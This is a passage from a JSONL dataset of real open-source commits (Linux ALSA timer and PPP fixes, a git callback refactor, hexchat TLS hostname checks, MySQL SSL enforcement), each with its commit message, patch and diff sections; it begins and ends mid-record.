&timeri->master->slave_active_head);\n+\t\tspin_unlock(&timeri->timer->lock);\n+\t}\n \tspin_unlock_irqrestore(&slave_active_lock, flags);\n \treturn 1; /* delayed start */\n }\n", "related": false}, {"section": "@@ -489,6 +497,8 @@ static int _snd_timer_stop(struct snd_timer_instance * timeri,\n \t\tif (!keep_flag) {\n \t\t\tspin_lock_irqsave(&slave_active_lock, flags);\n \t\t\ttimeri->flags &= ~SNDRV_TIMER_IFLG_RUNNING;\n+\t\t\tlist_del_init(&timeri->ack_list);\n+\t\t\tlist_del_init(&timeri->active_list);\n \t\t\tspin_unlock_irqrestore(&slave_active_lock, flags);\n \t\t}\n \t\tgoto __end;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/ipv4/fib_frontend.c", "commit_id": "fbd40ea0180a2d328c5adc61414dc8bab9335ce2", "commit_message": "ipv4: Don't do expensive useless work during inetdev destroy.\n\nWhen an inetdev is destroyed, every address assigned to the interface\nis removed. And in this scenerio we do two pointless things which can\nbe very expensive if the number of assigned interfaces is large:\n\n1) Address promotion. We are deleting all addresses, so there is no\n point in doing this.\n\n2) A full nf conntrack table purge for every address. We only need to\n do this once, as is already caught by the existing\n masq_dev_notifier so masq_inet_event() can skip this.\n\nReported-by: Solar Designer \nSigned-off-by: David S. Miller \nTested-by: Cyrill Gorcunov ", "patch": "@@ -922,6 +922,9 @@ void fib_del_ifaddr(struct in_ifaddr *ifa, struct in_ifaddr *iprim)\n \t\tsubnet = 1;\n \t}\n \n+\tif (in_dev->dead)\n+\t\tgoto no_promotions;\n+\n \t/* Deletion is more complicated than add.\n \t * We should take care of not to delete too much :-)\n \t *\n@@ -997,6 +1000,7 @@ void fib_del_ifaddr(struct in_ifaddr *ifa, struct in_ifaddr *iprim)\n \t\t}\n \t}\n \n+no_promotions:\n \tif (!(ok & BRD_OK))\n \t\tfib_magic(RTM_DELROUTE, RTN_BROADCAST, ifa->ifa_broadcast, 32, prim);\n \tif (subnet && ifa->ifa_prefixlen < 31) {", "sections": [{"section": "@@ -922,6 +922,9 @@ void fib_del_ifaddr(struct in_ifaddr *ifa, struct in_ifaddr *iprim)\n \t\tsubnet = 1;\n \t}\n \n+\tif (in_dev->dead)\n+\t\tgoto no_promotions;\n+\n \t/* Deletion is more complicated than add.\n \t * We should take care of not to delete too much :-)\n \t *\n", "related": false}, {"section": "@@ -997,6 +1000,7 @@ void fib_del_ifaddr(struct in_ifaddr *ifa, struct in_ifaddr *iprim)\n \t\t}\n \t}\n \n+no_promotions:\n \tif (!(ok & BRD_OK))\n \t\tfib_magic(RTM_DELROUTE, RTN_BROADCAST, ifa->ifa_broadcast, 32, prim);\n \tif (subnet && ifa->ifa_prefixlen < 31) {", "related": false}]} +{"owner": "hexchat", "repo": "hexchat", "language": "C", "file_name": "src/common/server.c", "commit_id": "c9b63f7f9be01692b03fa15275135a4910a7e02d", "commit_message": "ssl: Validate hostnames\n\nCloses #524", "patch": "@@ -723,9 +723,22 @@ ssl_do_connect (server * serv)\n \t\tswitch (verify_error)\n \t\t{\n \t\tcase X509_V_OK:\n+\t\t\t{\n+\t\t\t\tX509 *cert = SSL_get_peer_certificate (serv->ssl);\n+\t\t\t\tint hostname_err;\n+\t\t\t\tif ((hostname_err = _SSL_check_hostname(cert, serv->hostname)) != 0)\n+\t\t\t\t{\n+\t\t\t\t\tsnprintf (buf, sizeof (buf), \"* Verify E: Failed to validate hostname? (%d)%s\",\n+\t\t\t\t\t\t\t hostname_err, serv->accept_invalid_cert ? \" -- Ignored\" : \"\");\n+\t\t\t\t\tif (serv->accept_invalid_cert)\n+\t\t\t\t\t\tEMIT_SIGNAL (XP_TE_SSLMESSAGE, serv->server_session, buf, NULL, NULL, NULL, 0);\n+\t\t\t\t\telse\n+\t\t\t\t\t\tgoto conn_fail;\n+\t\t\t\t}\n+\t\t\t\tbreak;\n+\t\t\t}\n \t\t\t/* snprintf (buf, sizeof (buf), \"* Verify OK (?)\"); */\n \t\t\t/* EMIT_SIGNAL (XP_TE_SSLMESSAGE, serv->server_session, buf, NULL, NULL, NULL, 0); */\n-\t\t\tbreak;\n \t\tcase X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY:\n \t\tcase X509_V_ERR_UNABLE_TO_VERIFY_LEAF_SIGNATURE:\n \t\tcase X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT:\n@@ -744,6 +757,7 @@ ssl_do_connect (server * serv)\n \t\t\tsnprintf (buf, sizeof (buf), \"%s.? (%d)\",\n \t\t\t\t\t\t X509_verify_cert_error_string (verify_error),\n \t\t\t\t\t\t verify_error);\n+conn_fail:\n \t\t\tEMIT_SIGNAL (XP_TE_CONNFAIL, serv->server_session, buf, NULL, NULL,\n \t\t\t\t\t\t\t NULL, 0);\n ", "sections": [{"section": "@@ -723,9 +723,22 @@ ssl_do_connect (server * serv)\n \t\tswitch (verify_error)\n \t\t{\n \t\tcase X509_V_OK:\n+\t\t\t{\n+\t\t\t\tX509 *cert = SSL_get_peer_certificate (serv->ssl);\n+\t\t\t\tint hostname_err;\n+\t\t\t\tif ((hostname_err = _SSL_check_hostname(cert, serv->hostname)) != 0)\n+\t\t\t\t{\n+\t\t\t\t\tsnprintf (buf, sizeof (buf), \"* Verify E: Failed to validate hostname? (%d)%s\",\n+\t\t\t\t\t\t\t hostname_err, serv->accept_invalid_cert ? \" -- Ignored\" : \"\");\n+\t\t\t\t\tif (serv->accept_invalid_cert)\n+\t\t\t\t\t\tEMIT_SIGNAL (XP_TE_SSLMESSAGE, serv->server_session, buf, NULL, NULL, NULL, 0);\n+\t\t\t\t\telse\n+\t\t\t\t\t\tgoto conn_fail;\n+\t\t\t\t}\n+\t\t\t\tbreak;\n+\t\t\t}\n \t\t\t/* snprintf (buf, sizeof (buf), \"* Verify OK (?)\"); */\n \t\t\t/* EMIT_SIGNAL (XP_TE_SSLMESSAGE, serv->server_session, buf, NULL, NULL, NULL, 0); */\n-\t\t\tbreak;\n \t\tcase X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY:\n \t\tcase X509_V_ERR_UNABLE_TO_VERIFY_LEAF_SIGNATURE:\n \t\tcase X509_V_ERR_DEPTH_ZERO_SELF_SIGNED_CERT:\n", "related": false}, {"section": "@@ -744,6 +757,7 @@ ssl_do_connect (server * serv)\n \t\t\tsnprintf (buf, sizeof (buf), \"%s.? (%d)\",\n \t\t\t\t\t\t X509_verify_cert_error_string (verify_error),\n \t\t\t\t\t\t verify_error);\n+conn_fail:\n \t\t\tEMIT_SIGNAL (XP_TE_CONNFAIL, serv->server_session, buf, NULL, NULL,\n \t\t\t\t\t\t\t NULL, 0);\n ", "related": false}]} +{"owner": "git", "repo": "git", "language": "C", "file_name": "reachable.c", "commit_id": "de1e67d0703894cb6ea782e36abb63976ab07e60", "commit_message": "list-objects: pass full pathname to callbacks\n\nWhen we find a blob at \"a/b/c\", we currently pass this to\nour show_object_fn callbacks as two components: \"a/b/\" and\n\"c\". Callbacks which want the full value then call\npath_name(), which concatenates the two. But this is an\ninefficient interface; the path is a strbuf, and we could\nsimply append \"c\" to it temporarily, then roll back the\nlength, without creating a new copy.\n\nSo we could improve this by teaching the callsites of\npath_name() this trick (and there are only 3). But we can\nalso notice that no callback actually cares about the\nbroken-down representation, and simply pass each callback\nthe full path \"a/b/c\" as a string. The callback code becomes\neven simpler, then, as we do not have to worry about freeing\nan allocated buffer, nor rolling back our modification to\nthe strbuf.\n\nThis is theoretically less efficient, as some callbacks\nwould not bother to format the final path component. But in\npractice this is not measurable. Since we use the same\nstrbuf over and over, our work to grow it is amortized, and\nwe really only pay to memcpy a few bytes.\n\nSigned-off-by: Jeff King \nSigned-off-by: Junio C Hamano ", "patch": "@@ -43,15 +43,14 @@ static int add_one_ref(const char *path, const struct object_id *oid,\n * The traversal will have already marked us as SEEN, so we\n * only need to handle any progress reporting here.\n */\n-static void mark_object(struct object *obj, struct strbuf *path,\n-\t\t\tconst char *name, void *data)\n+static void mark_object(struct object *obj, const char *name, void *data)\n {\n \tupdate_progress(data);\n }\n \n static void mark_commit(struct commit *c, void *data)\n {\n-\tmark_object(&c->object, NULL, NULL, data);\n+\tmark_object(&c->object, NULL, data);\n }\n \n struct recent_data {", "sections": [{"section": "@@ -43,15 +43,14 @@ static int add_one_ref(const char *path, const struct object_id *oid,\n * The traversal will have already marked us as SEEN, so we\n * only need to handle any progress reporting here.\n */\n-static void mark_object(struct object *obj, struct strbuf *path,\n-\t\t\tconst char *name, void *data)\n+static void mark_object(struct object *obj, const char *name, void *data)\n {\n \tupdate_progress(data);\n }\n \n static void mark_commit(struct commit *c, void *data)\n {\n-\tmark_object(&c->object, NULL, NULL, data);\n+\tmark_object(&c->object, NULL, data);\n }\n \n struct recent_data {", "related": false}]} +{"owner": "git", "repo": "git", "language": "C", "file_name": "pack-bitmap-write.c", "commit_id": "de1e67d0703894cb6ea782e36abb63976ab07e60", "commit_message": "list-objects: pass full pathname to callbacks\n\nWhen we find a blob at \"a/b/c\", we currently pass this to\nour show_object_fn callbacks as two components: \"a/b/\" and\n\"c\". Callbacks which want the full value then call\npath_name(), which concatenates the two. But this is an\ninefficient interface; the path is a strbuf, and we could\nsimply append \"c\" to it temporarily, then roll back the\nlength, without creating a new copy.\n\nSo we could improve this by teaching the callsites of\npath_name() this trick (and there are only 3). But we can\nalso notice that no callback actually cares about the\nbroken-down representation, and simply pass each callback\nthe full path \"a/b/c\" as a string. The callback code becomes\neven simpler, then, as we do not have to worry about freeing\nan allocated buffer, nor rolling back our modification to\nthe strbuf.\n\nThis is theoretically less efficient, as some callbacks\nwould not bother to format the final path component. But in\npractice this is not measurable. Since we use the same\nstrbuf over and over, our work to grow it is amortized, and\nwe really only pay to memcpy a few bytes.\n\nSigned-off-by: Jeff King \nSigned-off-by: Junio C Hamano ", "patch": "@@ -148,8 +148,7 @@ static uint32_t find_object_pos(const unsigned char *sha1)\n \treturn entry->in_pack_pos;\n }\n \n-static void show_object(struct object *object, struct strbuf *path,\n-\t\t\tconst char *last, void *data)\n+static void show_object(struct object *object, const char *name, void *data)\n {\n \tstruct bitmap *base = data;\n \tbitmap_set(base, find_object_pos(object->oid.hash));", "sections": [{"section": "@@ -148,8 +148,7 @@ static uint32_t find_object_pos(const unsigned char *sha1)\n \treturn entry->in_pack_pos;\n }\n \n-static void show_object(struct object *object, struct strbuf *path,\n-\t\t\tconst char *last, void *data)\n+static void show_object(struct object *object, const char *name, void *data)\n {\n \tstruct bitmap *base = data;\n \tbitmap_set(base, find_object_pos(object->oid.hash));", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/net/ppp/ppp_generic.c", "commit_id": "1f461dcdd296eecedaffffc6bae2bfa90bd7eb89", "commit_message": "ppp: take reference on channels netns\n\nLet channels hold a reference on their network namespace.\nSome channel types, like ppp_async and ppp_synctty, can have their\nuserspace controller running in a different namespace. Therefore they\ncan't rely on them to preclude their netns from being removed from\nunder them.\n\n==================================================================\nBUG: KASAN: use-after-free in ppp_unregister_channel+0x372/0x3a0 at\naddr ffff880064e217e0\nRead of size 8 by task syz-executor/11581\n=============================================================================\nBUG net_namespace (Not tainted): kasan: bad access detected\n-----------------------------------------------------------------------------\n\nDisabling lock debugging due to kernel taint\nINFO: Allocated in copy_net_ns+0x6b/0x1a0 age=92569 cpu=3 pid=6906\n[< none >] ___slab_alloc+0x4c7/0x500 kernel/mm/slub.c:2440\n[< none >] __slab_alloc+0x4c/0x90 kernel/mm/slub.c:2469\n[< inline >] slab_alloc_node kernel/mm/slub.c:2532\n[< inline >] slab_alloc kernel/mm/slub.c:2574\n[< none >] kmem_cache_alloc+0x23a/0x2b0 kernel/mm/slub.c:2579\n[< inline >] kmem_cache_zalloc kernel/include/linux/slab.h:597\n[< inline >] net_alloc kernel/net/core/net_namespace.c:325\n[< none >] copy_net_ns+0x6b/0x1a0 kernel/net/core/net_namespace.c:360\n[< none >] create_new_namespaces+0x2f6/0x610 kernel/kernel/nsproxy.c:95\n[< none >] copy_namespaces+0x297/0x320 kernel/kernel/nsproxy.c:150\n[< none >] copy_process.part.35+0x1bf4/0x5760 kernel/kernel/fork.c:1451\n[< inline >] copy_process kernel/kernel/fork.c:1274\n[< none >] _do_fork+0x1bc/0xcb0 kernel/kernel/fork.c:1723\n[< inline >] SYSC_clone kernel/kernel/fork.c:1832\n[< none >] SyS_clone+0x37/0x50 kernel/kernel/fork.c:1826\n[< none >] entry_SYSCALL_64_fastpath+0x16/0x7a kernel/arch/x86/entry/entry_64.S:185\n\nINFO: Freed in net_drop_ns+0x67/0x80 age=575 cpu=2 pid=2631\n[< none >] __slab_free+0x1fc/0x320 kernel/mm/slub.c:2650\n[< inline >] slab_free kernel/mm/slub.c:2805\n[< none >] kmem_cache_free+0x2a0/0x330 kernel/mm/slub.c:2814\n[< inline >] net_free kernel/net/core/net_namespace.c:341\n[< none >] net_drop_ns+0x67/0x80 kernel/net/core/net_namespace.c:348\n[< none >] cleanup_net+0x4e5/0x600 kernel/net/core/net_namespace.c:448\n[< none >] process_one_work+0x794/0x1440 kernel/kernel/workqueue.c:2036\n[< none >] worker_thread+0xdb/0xfc0 kernel/kernel/workqueue.c:2170\n[< none >] kthread+0x23f/0x2d0 kernel/drivers/block/aoe/aoecmd.c:1303\n[< none >] ret_from_fork+0x3f/0x70 kernel/arch/x86/entry/entry_64.S:468\nINFO: Slab 0xffffea0001938800 objects=3 used=0 fp=0xffff880064e20000\nflags=0x5fffc0000004080\nINFO: Object 0xffff880064e20000 @offset=0 fp=0xffff880064e24200\n\nCPU: 1 PID: 11581 Comm: syz-executor Tainted: G B 4.4.0+\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS\nrel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014\n 00000000ffffffff ffff8800662c7790 ffffffff8292049d ffff88003e36a300\n ffff880064e20000 ffff880064e20000 ffff8800662c77c0 ffffffff816f2054\n ffff88003e36a300 ffffea0001938800 ffff880064e20000 0000000000000000\nCall Trace:\n [< inline >] __dump_stack kernel/lib/dump_stack.c:15\n [] dump_stack+0x6f/0xa2 kernel/lib/dump_stack.c:50\n [] print_trailer+0xf4/0x150 kernel/mm/slub.c:654\n [] object_err+0x2f/0x40 kernel/mm/slub.c:661\n [< inline >] print_address_description kernel/mm/kasan/report.c:138\n [] kasan_report_error+0x215/0x530 kernel/mm/kasan/report.c:236\n [< inline >] kasan_report kernel/mm/kasan/report.c:259\n [] __asan_report_load8_noabort+0x3e/0x40 kernel/mm/kasan/report.c:280\n [< inline >] ? ppp_pernet kernel/include/linux/compiler.h:218\n [] ? ppp_unregister_channel+0x372/0x3a0 kernel/drivers/net/ppp/ppp_generic.c:2392\n [< inline >] ppp_pernet kernel/include/linux/compiler.h:218\n [] ppp_unregister_channel+0x372/0x3a0 kernel/drivers/net/ppp/ppp_generic.c:2392\n [< inline >] ? ppp_pernet kernel/drivers/net/ppp/ppp_generic.c:293\n [] ? ppp_unregister_channel+0xe6/0x3a0 kernel/drivers/net/ppp/ppp_generic.c:2392\n [] ppp_asynctty_close+0xa3/0x130 kernel/drivers/net/ppp/ppp_async.c:241\n [] ? async_lcp_peek+0x5b0/0x5b0 kernel/drivers/net/ppp/ppp_async.c:1000\n [] tty_ldisc_close.isra.1+0x99/0xe0 kernel/drivers/tty/tty_ldisc.c:478\n [] tty_ldisc_kill+0x40/0x170 kernel/drivers/tty/tty_ldisc.c:744\n [] tty_ldisc_release+0x1b3/0x260 kernel/drivers/tty/tty_ldisc.c:772\n [] tty_release+0xac1/0x13e0 kernel/drivers/tty/tty_io.c:1901\n [] ? release_tty+0x320/0x320 kernel/drivers/tty/tty_io.c:1688\n [] __fput+0x236/0x780 kernel/fs/file_table.c:208\n [] ____fput+0x15/0x20 kernel/fs/file_table.c:244\n [] task_work_run+0x16b/0x200 kernel/kernel/task_work.c:115\n [< inline >] exit_task_work kernel/include/linux/task_work.h:21\n [] do_exit+0x8b5/0x2c60 kernel/kernel/exit.c:750\n [] ? debug_check_no_locks_freed+0x290/0x290 kernel/kernel/locking/lockdep.c:4123\n [] ? mm_update_next_owner+0x6f0/0x6f0 kernel/kernel/exit.c:357\n [] ? __dequeue_signal+0x136/0x470 kernel/kernel/signal.c:550\n [] ? recalc_sigpending_tsk+0x13b/0x180 kernel/kernel/signal.c:145\n [] do_group_exit+0x108/0x330 kernel/kernel/exit.c:880\n [] get_signal+0x5e4/0x14f0 kernel/kernel/signal.c:2307\n [< inline >] ? kretprobe_table_lock kernel/kernel/kprobes.c:1113\n [] ? kprobe_flush_task+0xb5/0x450 kernel/kernel/kprobes.c:1158\n [] do_signal+0x83/0x1c90 kernel/arch/x86/kernel/signal.c:712\n [] ? recycle_rp_inst+0x310/0x310 kernel/include/linux/list.h:655\n [] ? setup_sigcontext+0x780/0x780 kernel/arch/x86/kernel/signal.c:165\n [] ? finish_task_switch+0x424/0x5f0 kernel/kernel/sched/core.c:2692\n [< inline >] ? finish_lock_switch kernel/kernel/sched/sched.h:1099\n [] ? finish_task_switch+0x120/0x5f0 kernel/kernel/sched/core.c:2678\n [< inline >] ? context_switch kernel/kernel/sched/core.c:2807\n [] ? __schedule+0x919/0x1bd0 kernel/kernel/sched/core.c:3283\n [] exit_to_usermode_loop+0xf1/0x1a0 kernel/arch/x86/entry/common.c:247\n [< inline >] prepare_exit_to_usermode kernel/arch/x86/entry/common.c:282\n [] syscall_return_slowpath+0x19f/0x210 kernel/arch/x86/entry/common.c:344\n [] int_ret_from_sys_call+0x25/0x9f kernel/arch/x86/entry/entry_64.S:281\nMemory state around the buggy address:\n ffff880064e21680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n ffff880064e21700: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n>ffff880064e21780: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n ^\n ffff880064e21800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n ffff880064e21880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n==================================================================\n\nFixes: 273ec51dd7ce (\"net: ppp_generic - introduce net-namespace functionality v2\")\nReported-by: Baozeng Ding \nSigned-off-by: Guillaume Nault \nReviewed-by: Cyrill Gorcunov \nSigned-off-by: David S. Miller ", "patch": "@@ -2307,7 +2307,7 @@ int ppp_register_net_channel(struct net *net, struct ppp_channel *chan)\n \n \tpch->ppp = NULL;\n \tpch->chan = chan;\n-\tpch->chan_net = net;\n+\tpch->chan_net = get_net(net);\n \tchan->ppp = pch;\n \tinit_ppp_file(&pch->file, CHANNEL);\n \tpch->file.hdrlen = chan->hdrlen;\n@@ -2404,6 +2404,8 @@ ppp_unregister_channel(struct ppp_channel *chan)\n \tspin_lock_bh(&pn->all_channels_lock);\n \tlist_del(&pch->list);\n \tspin_unlock_bh(&pn->all_channels_lock);\n+\tput_net(pch->chan_net);\n+\tpch->chan_net = NULL;\n \n \tpch->file.dead = 1;\n \twake_up_interruptible(&pch->file.rwait);", "sections": [{"section": "@@ -2307,7 +2307,7 @@ int ppp_register_net_channel(struct net *net, struct ppp_channel *chan)\n \n \tpch->ppp = NULL;\n \tpch->chan = chan;\n-\tpch->chan_net = net;\n+\tpch->chan_net = get_net(net);\n \tchan->ppp = pch;\n \tinit_ppp_file(&pch->file, CHANNEL);\n \tpch->file.hdrlen = chan->hdrlen;\n", "related": false}, {"section": "@@ -2404,6 +2404,8 @@ ppp_unregister_channel(struct ppp_channel *chan)\n \tspin_lock_bh(&pn->all_channels_lock);\n \tlist_del(&pch->list);\n \tspin_unlock_bh(&pn->all_channels_lock);\n+\tput_net(pch->chan_net);\n+\tpch->chan_net = NULL;\n \n \tpch->file.dead = 1;\n \twake_up_interruptible(&pch->file.rwait);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "sound/core/timer.c", "commit_id": "e4ec8cc8039a7063e24204299b462bd1383184a5", "commit_message": "ALSA: timer: Fix leak in events via snd_timer_user_tinterrupt\n\nThe stack object “r1” has a total size of 32 bytes. Its field\n“event” and “val” both contain 4 bytes padding. These 8 bytes\npadding bytes are sent to user without being initialized.\n\nSigned-off-by: Kangjie Lu \nSigned-off-by: Takashi Iwai ", "patch": "@@ -1266,6 +1266,7 @@ static void snd_timer_user_tinterrupt(struct snd_timer_instance *timeri,\n \t}\n \tif ((tu->filter & (1 << SNDRV_TIMER_EVENT_RESOLUTION)) &&\n \t tu->last_resolution != resolution) {\n+\t\tmemset(&r1, 0, sizeof(r1));\n \t\tr1.event = SNDRV_TIMER_EVENT_RESOLUTION;\n \t\tr1.tstamp = tstamp;\n \t\tr1.val = resolution;", "sections": [{"section": "@@ -1266,6 +1266,7 @@ static void snd_timer_user_tinterrupt(struct snd_timer_instance *timeri,\n \t}\n \tif ((tu->filter & (1 << SNDRV_TIMER_EVENT_RESOLUTION)) &&\n \t tu->last_resolution != resolution) {\n+\t\tmemset(&r1, 0, sizeof(r1));\n \t\tr1.event = SNDRV_TIMER_EVENT_RESOLUTION;\n \t\tr1.tstamp = tstamp;\n \t\tr1.val = resolution;", "related": false}]} +{"owner": "mysql", "repo": "mysql-server", "language": "C", "file_name": "client/mysqldump.c", "commit_id": "3bd5589e1a5a93f9c224badf983cd65c45215390", "commit_message": "WL#6791 : Redefine client --ssl option to imply enforced encryption\n\n# Changed the meaning of the --ssl=1 option of all client binaries\nto mean force ssl, not try ssl and fail over to eunecrypted\n# Added a new MYSQL_OPT_SSL_ENFORCE mysql_options()\noption to specify that an ssl connection is required.\n# Added a new macro SSL_SET_OPTIONS() to the client\nSSL handling headers that sets all the relevant SSL options at \nonce.\n# Revamped all of the current native clients to use the new macro\n# Removed some Windows line endings.\n# Added proper handling of the new option into the ssl helper\nheaders.\n# If SSL is mandatory assume that the media is secure enough \nfor the sha256 plugin to do unencrypted password exchange even\nbefore establishing a connection.\n# Set the default ssl cipher to DHE-RSA-AES256-SHA if none is \nspecified.\n# updated test cases that require a non-default cipher to spawn \na mysql command line tool binary since mysqltest has no support\nfor specifying ciphers.\n# updated the replication slave connection code to always enforce\nSSL if any of the SSL config options is present.\n# test cases added and updated.\n# added a mysql_get_option() API to return mysql_options() \nvalues. Used the new API inside the sha256 plugin.\n# Fixed compilation warnings because of unused variables.\n# Fixed test failures (mysql_ssl and bug13115401)\n# Fixed whitespace issues.\n# Fully implemented the mysql_get_option() function.\n# Added a test case for mysql_get_option()\n# fixed some trailing whitespace issues\n# fixed some uint/int warnings in mysql_client_test.c\n# removed shared memory option from non-windows get_options\n tests\n# moved MYSQL_OPT_LOCAL_INFILE to the uint options", "patch": "@@ -1595,17 +1595,7 @@ static int connect_to_db(char *host, char *user,char *passwd)\n mysql_init(&mysql_connection);\n if (opt_compress)\n mysql_options(&mysql_connection,MYSQL_OPT_COMPRESS,NullS);\n-#ifdef HAVE_OPENSSL\n- if (opt_use_ssl)\n- {\n- mysql_ssl_set(&mysql_connection, opt_ssl_key, opt_ssl_cert, opt_ssl_ca,\n- opt_ssl_capath, opt_ssl_cipher);\n- mysql_options(&mysql_connection, MYSQL_OPT_SSL_CRL, opt_ssl_crl);\n- mysql_options(&mysql_connection, MYSQL_OPT_SSL_CRLPATH, opt_ssl_crlpath);\n- }\n- mysql_options(&mysql_connection,MYSQL_OPT_SSL_VERIFY_SERVER_CERT,\n- (char*)&opt_ssl_verify_server_cert);\n-#endif\n+ SSL_SET_OPTIONS(&mysql_connection);\n if (opt_protocol)\n mysql_options(&mysql_connection,MYSQL_OPT_PROTOCOL,(char*)&opt_protocol);\n if (opt_bind_addr)", "sections": [{"section": "@@ -1595,17 +1595,7 @@ static int connect_to_db(char *host, char *user,char *passwd)\n mysql_init(&mysql_connection);\n if (opt_compress)\n mysql_options(&mysql_connection,MYSQL_OPT_COMPRESS,NullS);\n-#ifdef HAVE_OPENSSL\n- if (opt_use_ssl)\n- {\n- mysql_ssl_set(&mysql_connection, opt_ssl_key, opt_ssl_cert, opt_ssl_ca,\n- opt_ssl_capath, opt_ssl_cipher);\n- mysql_options(&mysql_connection, MYSQL_OPT_SSL_CRL, opt_ssl_crl);\n- mysql_options(&mysql_connection, MYSQL_OPT_SSL_CRLPATH, opt_ssl_crlpath);\n- }\n- mysql_options(&mysql_connection,MYSQL_OPT_SSL_VERIFY_SERVER_CERT,\n- (char*)&opt_ssl_verify_server_cert);\n-#endif\n+ SSL_SET_OPTIONS(&mysql_connection);\n if (opt_protocol)\n mysql_options(&mysql_connection,MYSQL_OPT_PROTOCOL,(char*)&opt_protocol);\n if (opt_bind_addr)", "related": false}]} +{"owner": "mysql", "repo": "mysql-server", "language": "C", "file_name": "sql-common/client.c", "commit_id": "3bd5589e1a5a93f9c224badf983cd65c45215390", "commit_message": "WL#6791 : Redefine client --ssl option to imply enforced encryption\n\n# Changed the meaning of the --ssl=1 option of all client binaries\nto mean force ssl, not try ssl and fail over to eunecrypted\n# Added a new MYSQL_OPT_SSL_ENFORCE mysql_options()\noption to specify that an ssl connection is required.\n# Added a new macro SSL_SET_OPTIONS() to the client\nSSL handling headers that sets all the relevant SSL options at \nonce.\n# Revamped all of the current native clients to use the new macro\n# Removed some Windows line endings.\n# Added proper handling of the new option into the ssl helper\nheaders.\n# If SSL is mandatory assume that the media is secure enough \nfor the sha256 plugin to do unencrypted password exchange even\nbefore establishing a connection.\n# Set the default ssl cipher to DHE-RSA-AES256-SHA if none is \nspecified.\n# updated test cases that require a non-default cipher to spawn \na mysql command line tool binary since mysqltest has no support\nfor specifying ciphers.\n# updated the replication slave connection code to always enforce\nSSL if any of the SSL config options is present.\n# test cases added and updated.\n# added a mysql_get_option() API to return mysql_options() \nvalues. Used the new API inside the sha256 plugin.\n# Fixed compilation warnings because of unused variables.\n# Fixed test failures (mysql_ssl and bug13115401)\n# Fixed whitespace issues.\n# Fully implemented the mysql_get_option() function.\n# Added a test case for mysql_get_option()\n# fixed some trailing whitespace issues\n# fixed some uint/int warnings in mysql_client_test.c\n# removed shared memory option from non-windows get_options\n tests\n# moved MYSQL_OPT_LOCAL_INFILE to the uint options", "patch": "@@ -145,6 +145,7 @@ void init_client_psi_keys(void)\n \n #endif /* HAVE_PSI_INTERFACE */\n \n+const char *default_ssl_cipher= \"DHE-RSA-AES256-SHA\";\n uint\t\tmysql_port=0;\n char\t\t*mysql_unix_port= 0;\n const char\t*unknown_sqlstate= \"HY000\";\n@@ -1248,19 +1249,28 @@ static int add_init_command(struct st_mysql_options *options, const char *cmd)\n (STR), MYF(MY_WME)) : NULL; \\\n } while (0)\n \n-#if defined(HAVE_OPENSSL) && !defined(EMBEDDED_LIBRARY)\n-#define SET_SSL_OPTION(opt_var,arg) \\\n+#define SET_OPTION(opt_var,arg) \\\n+ do { \\\n if (mysql->options.opt_var) \\\n my_free(mysql->options.opt_var); \\\n- mysql->options.opt_var= arg ? my_strdup(key_memory_mysql_options, arg, MYF(MY_WME)) : NULL; \\\n+ mysql->options.opt_var = arg ? my_strdup(key_memory_mysql_options, arg, MYF(MY_WME)) : NULL; \\\n+ } while (0)\n+\n+\n+#if defined(HAVE_OPENSSL) && !defined(EMBEDDED_LIBRARY)\n+#define SET_SSL_OPTION(opt_var,arg) \\\n+ do { \\\n+ SET_OPTION(opt_var, arg); \\\n if (mysql->options.opt_var) \\\n- mysql->options.use_ssl= 1\n+ mysql->options.use_ssl = TRUE; \\\n+ } while (0)\n+\n #define EXTENSION_SET_SSL_STRING(OPTS, X, STR) \\\n+ do { \\\n EXTENSION_SET_STRING(OPTS, X, STR); \\\n if ((OPTS)->extension->X) \\\n- (OPTS)->use_ssl= 1\n- \n- \n+ (OPTS)->use_ssl = TRUE; \\\n+ } while (0)\n #else\n #define SET_SSL_OPTION(opt_var,arg) \\\n do { \\\n@@ -2808,14 +2818,16 @@ static int send_client_reply_packet(MCPVIO_EXT *mpvio,\n mysql->client_flag|= CLIENT_MULTI_RESULTS;\n \n #if defined(HAVE_OPENSSL) && !defined(EMBEDDED_LIBRARY)\n+ /* consider SSL if any of the SSL mysql_options() is issued */\n if (mysql->options.ssl_key || mysql->options.ssl_cert ||\n mysql->options.ssl_ca || mysql->options.ssl_capath ||\n mysql->options.ssl_cipher ||\n- (mysql->options.extension && mysql->options.extension->ssl_crl) || \n- (mysql->options.extension && mysql->options.extension->ssl_crlpath))\n- mysql->options.use_ssl= 1;\n+ (mysql->options.extension && mysql->options.extension->ssl_crl) ||\n+ (mysql->options.extension && mysql->options.extension->ssl_crlpath) ||\n+ (mysql->options.extension && mysql->options.extension->ssl_enforce))\n+ mysql->options.use_ssl = TRUE;\n if (mysql->options.use_ssl)\n- mysql->client_flag|= CLIENT_SSL;\n+ mysql->client_flag |= CLIENT_SSL;\n #endif /* HAVE_OPENSSL && !EMBEDDED_LIBRARY*/\n if (mpvio->db)\n mysql->client_flag|= CLIENT_CONNECT_WITH_DB;\n@@ -2847,7 +2859,37 @@ static int send_client_reply_packet(MCPVIO_EXT *mpvio,\n end= buff+5;\n }\n #ifdef HAVE_OPENSSL\n- if (mysql->client_flag & CLIENT_SSL)\n+\n+ if (mysql->options.extension && mysql->options.extension->ssl_enforce)\n+ {\n+ /*\n+ ssl_enforce=1 means enforce ssl\n+ Don't fallback on unencrypted connection.\n+ */\n+ /* can't turn enforce on without turning on use_ssl too */\n+ DBUG_ASSERT(mysql->options.use_ssl);\n+ /* enforce=true takes precendence over use=false */\n+ if (!(mysql->server_capabilities & CLIENT_SSL))\n+ {\n+ set_mysql_extended_error(mysql, CR_SSL_CONNECTION_ERROR, unknown_sqlstate,\n+ ER(CR_SSL_CONNECTION_ERROR),\n+ \"SSL is required but the server doesn't \"\n+ \"support it\"\n+ 